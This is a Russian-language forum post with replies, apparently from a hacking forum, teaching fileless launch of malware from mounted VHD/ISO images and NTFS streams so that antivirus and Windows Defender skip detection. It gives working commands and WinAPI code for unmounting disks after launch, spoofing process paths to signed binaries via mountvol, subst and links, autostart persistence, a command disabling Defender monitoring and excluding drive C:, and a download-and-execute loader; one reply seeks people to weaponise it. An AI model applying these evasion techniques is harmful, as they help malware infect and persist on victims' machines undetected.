В варианте с NTFS файловым потоком диск монтируется такой командой:

Код: Скопировать в буфер обмена
powershell Mount-Diskimage C:\TESTISO\1.txt:1.vhd

И размонтируется так же:

Код: Скопировать в буфер обмена
powershell Dismount-Diskimage C:\TESTISO\1.txt:1.vhd

Отличие от обычного файла всего лишь единственное - имя потока указываем через двоеточие в самом конце файла.

Важная особенность - смонтированные диски по умолчанию остаются в системе после перезагрузки.
Это верно как для дисков смонтированных из файла, так и с файлового потока.
Эту особоенность можно использовать для организауии автозагрузки в системе, автоматически запуская после каждой перезагрузки бесфайловую копию нашего EXE/DLL.
Прописываем в любой из областей автозагрузки кvомаду Mount-DiskImage c полным путём к нашему виртуальному диску.
После монтирования диска запукаем с него наш EXE/DLL.
И дальше просто размонтируем тоько что смонтированный диск.
Результат - после перезагрузки EXE/DLL запущена в бесфайловом режиме.

Как прописать в бесфайловый процесс произвольно заданный путь. Утилита mountvol

Чтобы увидеть какой файл на диске сопоставлен нашему процессу, воспользуемся следующей командой:

Код: Скопировать в буфер обмена
powershell "Get-Process test | select Path"

Результат её работы будет таким:


Зелёным цветом обведён путь к запущенному нами процессу test.exe, который выдаёт система.

То есть будет выведен текущей путь на том виртуальном диске, который мы смонтировали.
Допустим, мы хотим прописать к этому процессу произвольный путь, например путь к некоей папке на диске C:
Это можно сделать с помощью утилиты mountvol.
Системная утилита mountvol предназначена для того, чтобы спроецировать логический диск целиком в отдельную папку.
Допустим нам нужно спроецировать только что смонтированный диск "P", содержащий наш пейлоад, в папку "C:\TESTDIR".
И мы хотим добиться того, чтобы у бесфайлового процесса был прописан путь не P:\test.exe, а C:\TESTDIR\test.exe
Для этого запускаем утилиту mountvol, и находим имя точки подключения для нашего виртуального диска:



Копируем это имя (ту строку, которая напечатана над дисководом "A", обведено жёлтым цветом), и передаём её команде mountvol

Код: Скопировать в буфер обмена
mountvol C:\TESTDIR\TESTVOLUME <имя_точки_подключения>

Первый параметр команды mountvol это имя папки, в которую мы хотим спроецировать наш виртуальный диск.
Второй парамет это имя точки подключения, которая нам выдала команда mountvol, запущенная без параметров.
После это команды наш виртуальный диск "P" спроецуируется в папку C:\TESTDIR\TESTVOLUME
Открыв папку C:\TESTDIR\TESTVOLUME мы увидим содержимое нашего диска A, за тем отличием, что имена файлов начинаются не с имени корневой папки "A:\" а с имени спроецированной папки "C:\TESTDIR"



Мы видим открытую папку C:\TESTDIR\TESTVOLUME в которую теперь осуществлена проекция содержимого с виртуального диска "A".
Все операции над файлами в этой папке будут дублироваться на диске A, так же верно и обратное.

Запускаем файл C:\TESTDIR\TESTVOLUME\test.exe и сразу же после этого размонтируем диск командой Dismount-DiskImage.
Диск размонтируется, и папка с проекцией диска станет недоступной.


Запущенный файл останется работоспособным, как и в предыдущих случаях с размонтированием диска.
Но к его имени образа на диске будет прописан путь C:\TESTDIR\TESTVOLUME\test.exe
Убедимся в этом, введя следующую команду:

Код: Скопировать в буфер обмена
powershell "Get-Process test | select Path"

Результат её работы будет следующим:


А теперь дальше делаем следующее:

1. Стираем ставшую недоступной папку TESTVOLUME - она нормально сотрётся
2. Создаём новую папку с тем же именем TESTVOLUME, например командой "mkdir TESTVOLUME"
3. Копируем в эту папку под именем test.exe любой заведомо безопасный файл, с валидной цивровой подписью. Тот же калькулятор или блокнот из папки windows туда копируем, это то же сработает.
4. Что мы получили - путь в свойствах процесса нашего EXE теперь указывает на заведомо безопасный файл !

Ещё один способ прописывания несуществующего пути в свойства процесса: команда SUBST

Ещё одной командой для сопоставления имени каталога определённому виртуальному диску является команда subst.
Эта команда похожа на только что расммотренную команду mountvol, и с помощью неё можно добиться того же эффекта - прописывание несуществующего пути в свойства процесса.
Пример её вызова выгдядит так:

Код: Скопировать в буфер обмена
subst Z: C:\TESTDIR

Здесь "Z:" указывеет букву виртуального диска, C:\TESTDIR указывает на сопоставленную этому випртуальному диску каталог.
После выполнения этой команды в системе появится дополнительный диск Z: и папка C:\TESTDIR будет его корневой папкой.
Путь к файлу C:\TESTDIR\test.exe спроецируется в Z:\test.exe
И этот test.exe можно запустить по этим двум путям - они на самом деле указыват на один и тот же файл.
Теперь запускаем файл Z:\test.exe и выполняем следующую коману:

Код: Скопировать в буфер обмена
subst z: /d

Эта команда удалит виртуальный диск Z: ихз системы.
Но запущенный файл Z:\test.exe продолжает работать как ни в чём не бывало, как и в предыдущих рассмотренных нами случаях.
Запускаем команду повершелл "Get-Process test | select Path" и видим следующий результат:



Эта команда выдаёт на невалидный путь, путь которого не существует в системе.
В очередной раз получилось создать ситуацию, которую антивирус не может обработать.
Просканировав процессы и получив пути к расположению их образов на диске он не сможет открыть файл Z:\test.exe, получив ошибку о несуществующем файле.
И пропустит этот объект без проверки, так как обработка такой ситуации в нём не предусмотрена.
Это не бесфайловый способ запуска, файл останется на диске под именем C:\TESTDIR\test.exe, но путь в свойствах процесса будет подменен на Z:\test.exe
Его можно (и нужно) комбинировать с ранее рассмотренными бесфайловыми способами запуска, чтобы ещё сложнее запутать ситуацию с путями к файлу EXE/DLL на диске.

На WinAPI функционал команды Subst реализуется с помощью двух функций: SetVolumeMountPoint(A|) и DeleteVolumeMountPoint(A|W)
Первая функция отображает существующий путь на логическую букву диска (либо на другой каталог), вторая удаляет результат работы функции SetVolumeMountPoint(A|W).
Всё, что мы проделалывали только что в командной строке с помощью команды Subst, можно так же легко сделать через WinAPI внутри EXE/DLL файла. При помощи всего лишь этих двух функций.

Ситуация: монтирование ISO образа, лежащего на VHD диске, и дальнейшее размонтирование VHD диска

Рассмотим ситуацию, когда ISO/VHD образ диск лежит внутри другого VHD/ISO образа диска.
Так же мы можем вложить таким способом несколько образов дисков, один в другой.
Что произойдёт со всеми смонтированными дисками, если мы размонтируем первый по вложенности диск ?
И как на это отреагирует Windows Defender, если с последнего по вложенности диска запустить малварь, на которой срабатывает поведенческий детект ? И после запуска размонтировать первый по вложенности диск.

Берём VHD диск достаточного размера, чтобы на него можно было скопироовать образ ISO.
Монтируем этот диск в систему.
После того как он смонтируется, копируем на него другой образ диска, в формате ISO.
Монтируем этот ISO в систему командлетом повершелл Mount-DiskImage.
Запускаем с ISO диска наш пейлоад.
И после этого размонтируем VHD диск.
Результат работы команд будет следующим: после размонтирования VHD диска системой автоматически размонтируется и ISO диск - тут виндовс делает всю работу вполне корректно.
Но пейлоад так же остаётся в памяти после запуска, как и в случае с одним диском.
Пейлоад представляет из себя примитивный лоадер из двух API: UrlDownloadToFileA и WinExec.
То есть скачивает и запускает файл, самый простейший лоадер какой только возможен - поэтому гарантированно срабатывает поведенческий детект дефендера.
Если этот лоадер мы просто запустим с диска - будет детект.
Если запустим с VHD диска и размонтируем его - то же будет детект.
Если запустим с ISO образа, который лежит на VHD диске, и размонтируем VHD диск - детект пропадает.
Вот ещё один пример убирания поведенческого детекта.
Важное дополнение - перед стартом в лоадере обязательно должна быть пауза, длительность которой достаточна для того, чтобы дождаться окончания всех операций по монтированию/размонтированию виртуальных дисков.
Просто делаеи в лоадере паузу в 30 секунд (заранее ставим время с большим запасом, на самом деле времени на срабатывание нужно значительно меньше), вызвав winapi Sleep(30000).

Пробовал делать это как с однородными виртуальными дисками (VHD внтури VHD) либо с разнородными (ISO внутри VHD), разницы никакой не было.
Тип диска не влияет, описанный процесс происходит идентично как с использованием одинакового типа дисков, так и с дисками разного типа.

Использование жёстких и мягких ссылок: Hard Link и Soft Link

Жёсткие и мягкие ссылки используются как синоним имени для какого-то определённого пути или файла.
Пример жёсткой ссылки - путь к текущему каталогу пользователя. Он иожет быть огромной длины, но обращаться к нему можно, например, по имени C:\USERS\User1
С помощью жёстких и мягких ссылок можно сопоставить неудобному и длинному имени файла короткое и удобное.
И жёсткая, и мягкая ссылка используются для этой задачи. Отличие лишь в том, что жёсткая ссылка действует в пределах всех файловых систем и дисков на компьютере, и мягкая ссылка в пределах лишь одной файловой системы.
Жёсткая ссылка в системе Windows называет Hard Link, мягкая ссылка называется Symbolic Link.
Для наших целей и задач разница между жёсткими и мягкими ссылками непринципиальна, и жёсткая и мягкая ссылка делают ровно те же действия, которые нам интересны.
Работа с файловыми ссылками осуществляется в Windows с помощью команды mklink
Например, создадим жёстку ссылку C:\TESTDIR\1.txt на файл, хранящийся на смонтированном виртуальном диске "A".
Делаем это с помощью следующей команды:

Код: Скопировать в буфер обмена
mklink C:\TESTDIR\1.txt A:\test.exe

После её выплнения в папке C:\TESTDIR появится файл 1.txt и при его открытии, запуске и записи все эти операции будут дублироваться в файл A:\test.exe
Набрав команду "dir C:\TESTDIR" мы там увидим следующее:



На скриншоте изображён результат выполнения команды mklink
Зелёнымм цветом обведён псевдофайл 2.txt (он же жёсткая ссылка) с нулевым размером, и файл A:\test.exe, связанный жёсткой ссылкой с псевдофайлом 2.txt
Расширение у файла может быть любое. Здесь, например, мы поставили безопасное расширение *.txt
Файл всё равно будет прекрасно запускаться с любым расширением, например с помощью команды:

Код: Скопировать в буфер обмена
cmd /c start C:\TESTDIR\1.txt



На скриншоте мы видим, что файл 1.txt отображается не как файл, а как <SYMLINK>, а в квадратных скобках у этого файла указан путь к файлу, на который указывает эта ссылка.
Теперь запускаем файл C:\TESTDIR\1.txt и сразу же после этого размонтируем виртуальный диск, где лежит файл на который указывает данная ссылка.
Размонтирование диска, как и в прошлые разы, никак не повлияло на работу запущенной программы.
Теперь пробуем открыть файл C:\TESTDIR\1.txt в проводнике, и видим следующую ошибку:



Файл для любой операции выдаёт ошибку. Выглядит это так, файл как будто-бы существует и отображается в проводнике и в файловых менеджерах.
Но в то же время он и не существуент, так как записи в файловой системе указывают на несуществующую область.
Появился файл-призрак, который одновременно и существует, и не существует. Что-то среднее между состоянием "есть файл" и "нет файла".
Итак, мы создали нестандартную ситуация для антивируса, которую он не может обработать.
Антивирус, натыкаясь на подобные странные объекты, просто игнорирует их и пропускает их проверку.
В логах для таких объектов будет просто запись "ошибка открытия такого-то файла".
Для файла C:\TESTDIR\1.txt работает лишь три файловых операции - стирание файла, копирование и перемещение. Всё остальное не работает.

Получаем путь к процессу, запущенному через символьную ссылку, командой:

Код: Скопировать в буфер обмена
powershell "Get-Process test | select Path"

И видим следующее:



В данном случае система определяет корректно путь к образу, из которого стартовала программа. Мы видим что выводится путь: C:\TESTDIR\2.txt (обведёно зелёным цветом)
Причём у процесса имя текстового файла, что само по себе ненормально.
Так же мы видим отсутствие этого файла в папке C:\TESTDIR (обведено жёлтым цветом).

Дальше можно проделать всё то, что мы делали в случае подмены пути с помощью утилиты mountvol
Просто копируем в папку C:\TESTDIR любой заведомо безопасный файл и переименовываем его в 1.txt
В свойствах запущенного нами процесса test.exe будет теперь прописан путь к заведому безопасному файлу.

Потом, конечно же, с этим методом будут проблемы. Например AV будет выявлять явное несоответствие процесса в памяти его образу на диске и выдавать на это детект.
Но пока это работает.

В WinAPI работа с жёсткими ссылками делается с помощью API CreateHardLinkA (для имён файлов в ASCIIZ формате) и CreateHardLinkW (для имён файлов в Unicode формате).
И, соответственно, с помощью функции CreateSymbolicLink(A|W) для мягких ссылок.
Кроме того, для этих двух функций есть Trsnsacted версии - CreateHardLinkTransacted(A|W) и CreateSymbolicLinkTransacted(A|W)

Реализация бесфайловго запуска через виртуальные диски с помощью WinAPI

Наилучшей реализацией рассматриваемого нами бесфайлового запуска является вариант, реализованный с помощью WinAPI.
При использовании WinAPI мы добиваемся максимальной компактности кода и максимальной его гибкости.
На C++/WinAPI существует бесконечное количество способов переписать один и тот же код, в отличии, например, от скриптов на повершелле. А значит есть больше вариантов спрятать код от AV.
Кроме того, применение WinAPI это единственный путь для того чтобы использовать из шеллкода всё то, о чём шла речь в этой статье.
Только что разбиравшаяся нами утилита Diskpart работает как раз через этот набор API.

За работу с виртуальными дисками в Windows отвечает библиотека virtdisk.dll, которая находится в системной папке С:\WINDOWS\SYSTEM32
Эта DLL доступна во всех версиях Windows, начиная с Windows 7 и заканчивая последними версиями, включая и серверные версии.

Для работы с API, содержащиеся в virtdisk.dll, в начале исходника мы должны поключючить следующие заголовочные файлы и библиотеки:

Код: Скопировать в буфер обмена
Code:
#include <virtdisk.h>
#pragma comment(lib,"virtdisk")

За создание виртуального диска отвечает API CreateVirtualDisk.
На входе эта API получает полный путь к создаваемому виртуальному диску, блок параметров с описанием свойств виртуального диска, и различные дополнительные параметры типа прав доступа.
Обработка ошибок стандартная: возвращается значение ERROR_SUCCESS в случае успешного завершения операции, либо код ошибки, в случае сбоя.
Последнимм параметром у функции CreateVirtualDisk идёт указатель на хэндл виртуалного диска. По завершению работы с виртуальным диском мы закрываем этот хэндл стандартным способом - через вызов API CloseHandle.

Кроме создания виртуального диска есть ещё вариант с распаковкой и сбросом виртуального диска в папку %TEMP%.
Этот вариант я считаю более предпочтительным, потому что мы в этом случае будем избавлены от необходимости что-то копировать и настраивать на виртуальном диске.
Заранее подготовив диск и нужные файлы на нём, мы избавляемся от выполнения дополнительных файловых операций, на которые может среагировать AV.
Файлы VHD/ISO содержат много повторяющихся данных и очень хорошо сжимаются. Для сжатия я использую алгоритм GZIP из стандартной C++ библиотеки zlib.
Вариант с дропом VHD/ISO файла в папку %TEMP%, а так же дроп в папку на удалённом серваке и подлкючение диска оттуда, будут представлены во второй части данной статьи.

После того как мы создавли VHD/ISO файл либо дропнули уже готовый файл в папку %TEMP%, мы должны смонтировать его в систему.
Делается это с помощью API OpenVirtualDisk().

Код: Скопировать в буфер обмена
Code:
if (OpenVirtualDisk(&vst, vhdPath, VIRTUAL_DISK_ACCESS_ALL, OPEN_VIRTUAL_DISK_FLAG_NONE, &openParameters, &vhdHandle) != ERROR_SUCCESS)
{
 printf("OpenVirtualDiskError: %i\r\n", GetLastError());
 return 0;
}

На входе эта API получает тип виртуального диска, путь к нему и права доступа.
Последним параметром идёт указатель на переменную, в которую возвращается хэндл открытого виртуального диска, в случае если операция открытия завершилась успешно.
Если функция возвращает значение отличное от True, то это сигнализирует об ошибке, код которой передаётся стандартным способом - через API GetLastError().

Успешно открытый виртуальнывй диск можно уже монтировать в систему с присвоением ему логической букы диска.
Делается это с помощью API AttachVirtualDisk

Код: Скопировать в буфер обмена
Code:
if (AttachVirtualDisk(vhdHandle, 0, ATTACH_VIRTUAL_DISK_FLAG_NONE,0, 0, 0) != ERROR_SUCCESS)
{
 printf("Error code: %i\r\n", GetLastError());
 }

Здесь всё просто - передаём первым параметром хэндл открытого VHD диска, тот который был возвращён либо функцией открытия диска, либо функцией его создания.
И все остальные параметры ставим нулями (значение ATTACH_VIRTUAL_DISK_FLAG_NONE это то же ноль) - дополнительные параметры нам неинтересны, для того чтобы просто автоматически смонтировать диск они нам не нужны.
Эта API возвращает значение ERROR_SUCCESS в случае успешного завершения и значение отличное от ERROR_SUCCESS в случае ошибки.
Далее, как обычно, код ошибки получаем через API GetLastError(),
После успешного завершения этой функции виртуальный диск будет смонтирован в систему.

После успешного монтирования диска делаем на нём все те операции, которые были описаны в даной статье.
Копируем на диск нужные EXE/DLL файлы и запускаем их.
Или копируем на VHD диск ещё один VHD диск и монтируем его оттуда, вообщем запутываем AV различными способами.
После того как нужные операции проделаны (например скопировали на виртуальный диск EXE и запустили его) мы должны размонтировать диск из системы.
Делается это с помощью API DetachVirtualDisk.

Код: Скопировать в буфер обмена
DetachVirtualDisk(vhdHandle, DETACH_VIRTUAL_DISK_FLAG_NONE, 0);

То же самое как и предыдущей API - единственная информация которую мы передаём в параметрах это vhdHandle, то есть хэндл открытого виртуального диска.
Остальное заполняем нулями (значение DETACH_VIRTUAL_DISK_FLAG_NONE это то же ноль) - эти дополнительные параметры нам не нужны, диск прекрасно размонтируется и без них.

Так же выяснилось, что API для работы с виртуальными дисками так же поддерживают NTFS потоки.
Например, вызываем апи CreateVirtualDisk с таким путём:

Код: Скопировать в буфер обмена
CreateVirtualDisk(&vst, "C:\\TESTDIR\\1.txt:testdisk.vhd", VIRTUAL_DISK_ACCESS_ALL, 0, CREATE_VIRTUAL_DISK_FLAG_FULL_PHYSICAL_ALLOCATION, 0, &params, 0, &hvhd);

В этом случае в папке TESTDIR создастся файл 1.txt с нулевым размером.
Но сам VHD диск будет храниться в NTFS потоке с именем ":testdisk.vhd", прикрепленным к файлу 1.txt
В файл 1.txt можно писать произвольные данные, на работе потоков прикреленных к нему это никак не отразиться.
В проводнике будет отображаться только обычный тектстовый файл.
Увидеть замаскированный таким способом VHD диск можно только в проводнике, набрав команду "dir/r"



Зелёным цветом обведён VHD файл, спрятаный в отдельном NTFS потоке файла 1.txt, NTFS поток с аатрибутом $DATA
Жёлтыми цветом обведено то, что отображается в файловых менеджерах - проводник, фар менеджер и т.д. Там виден всего лишь простой TXT файл.

Апи для открытия диска OpenVirtualDisk же умеет открывать виртуальные диски, спрятанные внутри NTFS потоков:

Код: Скопировать в буфер обмена
OpenVirtualDisk(&vst, "C:\\TESTDIR\\1.txt:testdisk.vhd", VIRTUAL_DISK_ACCESS_ALL, OPEN_VIRTUAL_DISK_FLAG_NONE, &openParameters, &vhdHandle)

Так же стоит отметить тот момент, что расширение *.vhd у открываемых или создаваемых через эти API файлов можно не указывать.
Это верно как для обычного имени файла, так и для имени потока.
Следующей примеры открытия виртуального диска то же будут работать:

Код: Скопировать в буфер обмена
Code:
OpenVirtualDisk(&vst, "C:\\TESTDIR\\1.jpg", VIRTUAL_DISK_ACCESS_ALL, OPEN_VIRTUAL_DISK_FLAG_NONE, &openParameters, &vhdHandle)
OpenVirtualDisk(&vst, "C:\\TESTDIR\\1.jpg:1.txt", VIRTUAL_DISK_ACCESS_ALL, OPEN_VIRTUAL_DISK_FLAG_NONE, &openParameters, &vhdHandle)

Обзор уже известныx на данный момент способы бесфайлового запуска исполняемых файлов и их комбинирование с новыми методами

Рассмотрим уже известные на данный момент методы бесфайлового запуска и сравним его с этим новым методом, через запуск с VHD и ISO файлов.
Первым самы известным методом запуска является метод под названием Process Hollowing.
Он же известен под другим названием - RunPE, когда речь идёт о крипте файлов.
Данный метод является самым старым, детектится всем чем только можно, но в некоторых случаях всё ещё остаётся актуальным.
Например, он может запустить большинство исполняемых файлов, за редким исключением. В частности, не запускаются этим методом файлы написанные на dotnet.
Это отличает его от метода LoadPE, который будет рассмотрен далее.
LoadPE охватывает гораздо меньший диапазон возможных файлов для запуска.
Метод RunPE актуален в том случае, если перед его применением каким-то образом получилось отключить антивирус.
Например, сделав это следующей командой на PowerShell (исключаем диск C: из проверки и отключаем рантайм мониторинг файлов):

Код: Скопировать в буфер обмена
Add-MpPreference -ExclusionPath 'C:\' -DisableRealtimeMonitoring $true

И после этого включаем AV снова той же командой, указава вместо Disable слово Enable.
В остальных случаях AV, скорее всего, его задетектит. Детект, как правило, будет под именем Injector или похожим на него.
Основное что детектят антивирусы в методе RunPE это сочетание API CreateProcess и SetThreadContext.
Иногда удаётся замаскировать эти 2 вызова WinAPI, но работает это только один раз - до попадания файла в вирлабы.

В то же время этот способ является наилучшим решением, когда нам удалось исключить объект из проверки антивирусом. Например, пользуясь теми методами, которые были разобраны в данной статье.
Так же этот метод хорошо работает, если нам удалось каким-то образом пробраться в контекст какого-либо доверенного процесса, который считается заведомо безоепасным (например explorer.exe) - в этом случае большие возможности даёт технология запуска с использованием шеллкода.
Объединив её с бесфайловым методом запуска через виртуальные диски так же получается убрать динамические детекты. Об этом уже во второй части статьи.

Метод LoadPE менее палевный, за счёт того что не используются опасные вызовы WinAPI, которые антивирусы детектят как подозрительную активность.
Этот метод более низкоуровневый, работающий напрямую с заголовками PE файлов, и поэтому более сложный.
В этом методе вручную делается вся работа по разбору заголовков PE файла, его размещению в памяти (меппингу), настройке таблиц импорта и экспорта используемых WinAPI и многого другого.
В отличие от метода RunPE, где все вышеперечисленные действия мы не делаем, они возложены на операционную систему.
В методе LoadPE нужно учесть множество особенностей структуры PE файлов, которая у многих файлов будет отличаться.
Поэтому охват файлов возможных для запуска этим методом будет меньше, чем у метода RunPE.
Так же под разные файлы часто будет необходимо корректировать исходники, чтобы учесть те или иные особенности загрузки их в память.

Process Doppelganging

Ещё вариант бесфайлового запуска процесса, реализованный через NTFS транзакции.
Суть метода заключается в том, что в файловых системах NTFS предусмотрена возможность сгруппировать определённую последовательность операций над файловой системой в одно единое целое.
Такая группа операций, объединённая в единый групповой пакет, называется транзакцией.
Такая операция считается корректно выполненной только в том случае, если все операции внутри неё завершились корректно.
В этом случае транзакция одобряется, и после этого в файловой системе разом производятся все изменения, которые были сделаны этой последовательностью операций над файловой системой.
Операция подтверждения транзакции и дальнейшего внесения изменений в файловую систему называется Commit (перевод с английского - подтвердить).
Если хотя бы одна из операций внутри транзакции завершилась неудачно, то тогда вся транзакция целиком считается некорректной.
Транзакция будет валидна только в случае успешной отработки внутри неё всех до единой операций.
Если транзакция неуспешна, то производится её откат, и изменения которые должна была внести эта транзакция в файловую систему не производятся.
Операция отмены транзакции называется Rollback (перевод с английского - откат).
Всё это очень похоже на транзакции в MySQL, только вместо операций над данными тут делаем операциии на файлами. Даже термины одни и те же - Commit, Rollback и т.д.

Рассмотрев подробно данный метод запуска, нашёлся способ связать метод запуска через виртуальные диски и метод, использующий NTFS транзакции.
Кроме этого, был найден способ запуска, аналогичный запуску Process Doppeganging, но с использованием жёстких ссылок. Тех, которые мы только что рассматривали в данной статье.
А так же получилась интересная комбинация из этих новых двух способов.
Уже хорошо видно, что механизм транзакций в NTFS это одна огромная дыра в безопасности. Уверён что упомянутые бреши в защите далеко не единственные, точно найдётся что-нибудь ещё.
Обо всём этом будет подробно рассказано в следующей статье.

Заключение и главный вывод

Мы рассмотрели нестандартные способы запуска исполняемых файлов, способы их маскировки в системе за счёт отсутствия исполняемого файла на диске.
Нестандартный способ запуска создал нестандартный объект - процесс с заведомо неправильными путями.
Столкнувшись с нестандартный объектом антивирус попал в нестандартную ситуацию - невозможность этот объект обработать.
И единственным выходом их ситуации для AV является пропуск проверки такого объекта.
Отсюда следует главный принцип чистки исполняемых файлов от динамических детектов: чтобы убрать динамические детекты, нужно создать объект или ситуацию, которую AV не способен обработать



Вложения​


  • fileless_exe_via_vhd_poc_code.zip
    381.3 КБ · Просмотры: 109
 
Спасибо! Очень интересно!
Я как раз искал FILELESS способ для своего лаунчера и не мог найти что-то свежее, кроме типичных LoadPE.
 
Огромное спасибо за такую мощную подачу материала. С удовольствием прочитал и узнал много нового.
 
Крутая тема!

Поправил немного батничек. В начала надо дописать
cd /d "%~dp0"
что заставит сделать текущий каталог рабочим, т.к. по умолчанию с админскими правами у батника рабочий каталог C:\Windows\System32. Затем все вхождения %cd% взять в кавычки, чтобы учитывались пути с пробелами.
 
it_solutions сказал(а):
диск C это первый жёсткий диск в системе и он заведомо не может быть назначен буквой подключенного VHD диска
Нажмите, чтобы раскрыть...
Вот тут не соглашусь. Ситуация, когда системный диск имеет метку отличную от С будет крайне редкой, но все же такое встречается. Утверждать что "С - 100% будет виндовым диском" - неправильно.
У меня есть физическая машина для тестов, имеющая всего 1 диск с буквой W, вместо С.

В остальном статья интересная - лайк.
 
Я от этого далек, но очень интересная тема, спасибо автору! Если есть те, кто сможет это воплотить, напишите мне в лс, есть для вас предложение.
 
а как с этим бороться? пока не подтвердишь, диск не размонтируется и времени достаточно проходит для обнаружения

Вложения​

  • Screenshot at Jun 06 02-53-22.png
    Screenshot at Jun 06 02-53-22.png
    25.4 КБ · Просмотры: 84
 
begem0tina сказал(а):
а как с этим бороться? пока не подтвердишь, диск не размонтируется и времени достаточно проходит для обнаружения
Нажмите, чтобы раскрыть...
Консоль/приложение должны иметь права администратора
 
с правами администратора не запускается нагрузка, даже с выставлением времени в 10 секунд. что может быть причиной?
 
Top